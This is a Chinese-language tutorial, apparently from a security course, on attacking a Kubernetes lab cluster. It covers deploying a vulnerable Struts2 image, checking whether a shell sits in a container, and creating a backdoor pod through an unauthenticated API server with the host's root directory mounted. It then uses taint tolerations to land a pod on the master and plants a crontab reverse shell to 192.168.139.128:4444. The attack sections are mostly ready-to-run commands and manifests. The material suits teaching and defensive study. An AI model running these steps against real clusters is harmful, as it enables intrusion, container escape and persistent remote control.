云上攻防-云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

知识点

1、云原生-K8s安全-横向移动-污点Taint

2、云原生-K8s安全-Kubernetes实战场景

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等

云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等

云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等

云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等




一个集群包含三个节点,其中包括一个控制节点和两个工作节点

bash 复制代码
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132


一、演示案例-云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点

bash 复制代码
kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

bash 复制代码
kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段

拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动

bash 复制代码
kubectl describe nodes node-name  




二、演示案例-云原生-K8s安全-Kubernetes实战场景

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像

bash 复制代码
kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28

查看pod容器的状态(归属节点、内部IP、运行状态等)

bash 复制代码
 kubectl get pods -o wide

启动靶场镜像服务

bash 复制代码
kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort
bash 复制代码
kubectl get pod,svc

利用Web漏洞拿下权限




探针当前Webshell环境是否是docker容器

两种情况:

bash 复制代码
1、纯在docker容器里
2、在k8s下的某个主机里的docker容器
bash 复制代码
ls -al /

但是这还没完,因为这个docker容器有很大可能会在k8s下面

bash 复制代码
cat /proc/1/cgroup

docker逃逸

工具地址:https://github.com/cdk-team/CDK











2、利用k8s-Api-Server未授权提交创建后门Pod


bash 复制代码
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

或者

bash 复制代码
./kubectl -s 10.96.0.1:443 create -f test.yaml
//test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值

查看后门pod是否创建

bash 复制代码
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

3、实现挂载目录宿主机逃逸






加参数绕过交互式

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"
//host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints

或者

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
bash 复制代码
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-xiaodi  //自定义
spec:
 tolerations:
   - key: node-role.kubernetes.io/master  //这里要修改
     operator: Exists
     effect: NoSchedule
 containers:
   - name: control-master-xiaodi //自定义
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master //自定义
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

创建一个新pod容器

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

查看新建pod容器归属

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

利用新建pod容器进行逃逸

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

反弹master控制端的shell

bash 复制代码
echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab
//这里的master路径要注意与上面一致



5、利用Config泄漏横向移动

也可以利用节点泄漏的config横向移动节点

bash 复制代码
./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
相关推荐
刘婉晴4 分钟前
【信息安全工程师备考笔记】第三章 密码学基本理论
笔记·安全·密码学
向哆哆2 小时前
Java 安全:如何防止 DDoS 攻击?
java·安全·ddos
Leon-zy3 小时前
【云计算】云计算中IaaS、PaaS、SaaS介绍
云原生·云计算·paas
浩浩测试一下3 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
iangyu5 小时前
centos7部署k8s集群
云原生·容器·kubernetes
浩浩测试一下6 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
时迁2476 小时前
【k8s】k8s是怎么实现自动扩缩的
云原生·容器·kubernetes·k8s
编程一生7 小时前
微服务相比传统服务的优势
微服务·云原生·架构
极小狐9 小时前
极狐GitLab 项目功能和权限解读
运维·git·安全·gitlab·极狐gitlab
国科安芯11 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v